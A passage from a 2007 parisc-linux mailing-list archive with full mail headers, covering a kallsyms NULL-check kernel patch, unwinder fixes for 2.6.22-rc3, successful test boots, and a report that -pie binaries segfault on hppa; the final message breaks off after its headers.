X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R3gvZllveSE5j76WZHQhcb12IGRvb4CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24608

ugh, this function gets called by our unwinder. recursive backtrace for
the win... bisection to find this one was "fun."

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

commit ffb45122766db220d0bf3d01848d575fbbcb6430 removed our modname
arg since it was otherwise unused, but i was not cc'd on the patch :/

diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
index f1bda23..fed5441 100644
--- a/kernel/kallsyms.c
+++ b/kernel/kallsyms.c
@@ -257,7 +257,8 @@ const char *kallsyms_lookup(unsigned long addr,
 		pos = get_symbol_pos(addr, symbolsize, offset);
 		/* Grab name */
 		kallsyms_expand_symbol(get_symbol_offset(pos), namebuf);
-		*modname = NULL;
+		if (modname)
+			*modname = NULL;
 		return namebuf;
 	}
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Wed, 30 May 2007 02:52:21 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20070530065221.GB18422__39453.9687702947$1416624379$gmane$org@fattire.cabal.ca>
References: <200705271438.57394.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624379 24386 80.91.229.3 (22 Nov 2014 02:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2007 06:52:25 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx080) with SMTP; 30 May 2007 08:52:25 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 67B1E584097;
	Wed, 30 May 2007 02:52:22 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id ECBEF584095;
	Wed, 30 May 2007 02:52:21 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id A8A1B23DD0; Wed, 30 May 2007 02:52:21 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271438.57394.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ES1kcwdDeWU7l7eUfHVz75M5U3U4N48g
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24609

On Sun, May 27, 2007 at 02:38:57PM +0200, Helge Deller wrote:
>

Ok.

Pushed out a new HEAD (cc650a7a9f5ebc3f9290a8e20e3f55b4f52f849e) which
fixes the issues I was having booting on C8000.

http://git.kernel.org/git/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commit;h=376e210b71d7736775f43f32c5c7712f90aaf59a

was the fix for why userspace was not working at all for a 64-bit
kernel.

http://git.kernel.org/git/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commit;h=cb9577958d85896303561d9cc8544885deb272be

was the fix for one(?) of the unwinder bugs. Well, the brown paper bag
fix at least. Fix for the fix is pending upstream ack.

Now maybe I can get some sleep.

Cheers,
	Kyle



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3
Date: Wed, 30 May 2007 15:20:02 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <JIUVPE$FBD64A69CDAA2AEBDDC759CB9078E755__17124.5902347893$1416624379$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624379 24389 80.91.229.3 (22 Nov 2014 02:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:19 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2007 13:20:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 30 May 2007 15:20:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8077E7DE62;
	Wed, 30 May 2007 07:20:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02395-10; Wed, 30 May 2007 07:20:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B89BB7DE56;
	Wed, 30 May 2007 07:20:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCC2B7DE33
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 07:20:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02395-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 07:20:15 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 41F5E7DE32
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 07:20:14 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id l4UDK4R31496;
	Wed, 30 May 2007 15:20:05 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TB41C3QlbHIymK3NNjQ039sqJihyahCb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24610

> On Tue, May 29, 2007 at 05:34:50PM +0200, Joel Soete wrote:
> > Hello Helge, Kyle,
> > 
> > I just noticed the same pb you mentioned but with 2.6.22-rc2 rebuild =
with
> > gcc-4.1.3 20070518 (debian pkg) ro run 32bit up kernel only:
> > patst004 login: Backtrace:
> > [<10111500>] unwind_once+0x154/0x38c
> > [<10110aa0>] get_wchan+0x3c/0x80
> > [<101a939c>] do_task_stat+0x69c/0x6a4
> > [<101a6b88>] proc_info_read+0xc4/0x104
> > [<1016d724>] vfs_read+0xb4/0x164
> > [<1016dbec>] sys_read+0x4c/0x90
> 
> I have no idea what caused this, but the infinite recursion should be
> fixed once I push the fixes out. I can look at this over the weekend
> maybe (sorry, I don't have any machines kicking around plugged in and
> wired up that can run 32-bit atm.)
> 
> Cheers,
> 	Kyle M.
> 
> 
Kyle,

Good news: your latest commit seems to fix the pb.

I rebuild it for b2k and b180 config (32 bit only) and boot it successful=
ly on
the 2 systems ;-)

More then top, I rebuild a kernel on b2k, git pull and tar kernel tree sr=
c on
b180 (and some other day-today stuf scp, apt-get, ...), all seems ok ;-)

Thanks a lot,
    Joel =0A---=0Ahttp://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3
Date: Wed, 30 May 2007 09:34:54 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20070530133454.GA9230__31108.112660195$1416624380$gmane$org@fattire.cabal.ca>
References: <JIUVPE$FBD64A69CDAA2AEBDDC759CB9078E755@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624380 24392 80.91.229.3 (22 Nov 2014 02:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:20 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2007 13:35:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx106) with SMTP; 30 May 2007 15:35:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ECB37DED3;
	Wed, 30 May 2007 07:35:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04733-07; Wed, 30 May 2007 07:35:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D71B7DE68;
	Wed, 30 May 2007 07:35:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 923D27DEB5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 07:34:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04733-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 07:34:55 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id C0E357DE68
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 07:34:55 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 142B4584097;
	Wed, 30 May 2007 09:34:55 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 995A1584095;
	Wed, 30 May 2007 09:34:54 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 2969523DD0; Wed, 30 May 2007 09:34:54 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <JIUVPE$FBD64A69CDAA2AEBDDC759CB9078E755@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uERufjAWMmApm7SZZGFniCsxMjQ1N906
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24611

On Wed, May 30, 2007 at 03:20:02PM +0200, Joel Soete wrote:
> 
> Good news: your latest commit seems to fix the pb.
> 
> I rebuild it for b2k and b180 config (32 bit only) and boot it successfully on
> the 2 systems ;-)
> 
> More then top, I rebuild a kernel on b2k, git pull and tar kernel tree src on
> b180 (and some other day-today stuf scp, apt-get, ...), all seems ok ;-)
> 

Awesome! Thanks for testing, Joel!
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?S=E9bastien_Bernard?= <seb@frankengul.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] -pie is broken on hppa
Date: Fri, 01 Jun 2007 08:19:11 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <465FBA5F.2010909__6685.40670671991$1416624380$gmane$org@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624380 24397 80.91.229.3 (22 Nov 2014 02:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:20 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jun 2007 06:19:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 01 Jun 2007 08:19:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A2DA7DE5F;
	Fri,  1 Jun 2007 00:19:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12006-01; Fri, 1 Jun 2007 00:19:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 792917DE21;
	Fri,  1 Jun 2007 00:19:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CA2D7DE1A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 00:19:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10919-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jun 2007 00:19:04 -0600 (MDT)
Original-Received: from mallaury.nerim.net (smtp-105-friday.noc.nerim.net [62.4.17.105])
	by free.linux.hp.com (Postfix) with ESMTP id 63DF27DE0F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 00:19:04 -0600 (MDT)
Original-Received: from [192.168.0.168] (calypso.frankengul.org [213.41.240.201])
	by mallaury.nerim.net (Postfix) with ESMTP id 79C784F3A4;
	Fri,  1 Jun 2007 08:18:58 +0200 (CEST)
User-Agent: Thunderbird 2.0.0.0 (X11/20070504)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ANM6B7tNfW4oieWveGVo4PJmdmllcoWL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24612

Hi,
I discovered that the breakage of portmap on hppa is related to the
-pie linkage.
Every program linked with the -pie option segfaults at start.
Unfortunately, portmap is unconditionnaly built with this option.
I suspect nscd is in the same case.

How can I go further in investigation ?
I would like to identify the responsible component between the toolchain 
and the glibc.

Any hint is welcome.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?S=E9bastien_Bernard?= <seb@frankengul.org>
Newsgroups: gmane.linux.ports.parisc
Subject: -pie is broken on hppa
Date: Fri, 01 Jun 2007 08:19:11 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <465FBA5F.2010909__30209.9019325853$1416624380$gmane$org@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624380 24403 80.91.229.3 (22 Nov 2014 02:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:20 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jun 2007 06:19:47 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx078) with SMTP; 01 Jun 2007 08:19:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 83B002DF51; Fri,  1 Jun 2007 06:18:59 +0000 (UTC)
Old-Return-Path: <seb@frankengul.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-7.6 required=4.0 tests=AWL,BAYES_00,LDOSUBSCRIBER 
	autolearn=ham version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mallaury.nerim.net (smtp-105-friday.noc.nerim.net [62.4.17.105])
	by murphy.debian.org (Postfix) with ESMTP id 939022E049
	for <debian-hppa@lists.debian.org>; Fri,  1 Jun 2007 06:18:48 +0000 (UTC)
Original-Received: from [192.168.0.168] (calypso.frankengul.org [213.41.240.201])
	by mallaury.nerim.net (Postfix) with ESMTP id 79C784F3A4;
	Fri,  1 Jun 2007 08:18:58 +0200 (CEST)
User-Agent: Thunderbird 2.0.0.0 (X11/20070504)
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <pDTdYB.A.FM.Tp7XGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5746
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri,  1 Jun 2007 06:18:59 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: zM8+Ildva0Aom76aejEzFKk3Njh6dI6g
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24613

Hi,
I discovered that the breakage of portmap on hppa is related to the
-pie linkage.
Every program linked with the -pie option segfaults at start.
Unfortunately, portmap is unconditionnaly built with this option.
I suspect nscd is in the same case.

How can I go further in investigation ?
I would like to identify the responsible component between the toolchain 
and the glibc.

Any hint is welcome.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Fri, 1 Jun 2007 09:05:18 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200706011305.l51D5I3i028030__44851.8662168228$1416624380$gmane$org@hiauly1.hia.nrc.ca>
References: <465FBA5F.2010909@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624380 24405 80.91.229.3 (22 Nov 2014 02:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: seb@frankengul.org (=?ISO-8859-1?Q?S=E9bastien_Bernard?=)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jun 2007 13:05:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 01 Jun 2007 15:05:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C08427DE1A;
	Fri,  1 Jun 2007 07:05:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15595-07; Fri, 1 Jun 2007 07:05:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FCE07DE21;
	Fri,  1 Jun 2007 07:05:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5530D7DDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 07:05:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15643-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jun 2007 07:05:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7D9497DDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 07:05:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l51D5IW4028031;
	Fri, 1 Jun 2007 09:05:19 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l51D5I3i028030;
	Fri, 1 Jun 2007 09:05:18 -0400 (EDT)
In-Reply-To: <465FBA5F.2010909@frankengul.org> from
	"=?ISO-8859-1?Q?S=E9bastien_Bernard?=" at Jun 1, 2007 08:19:11 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
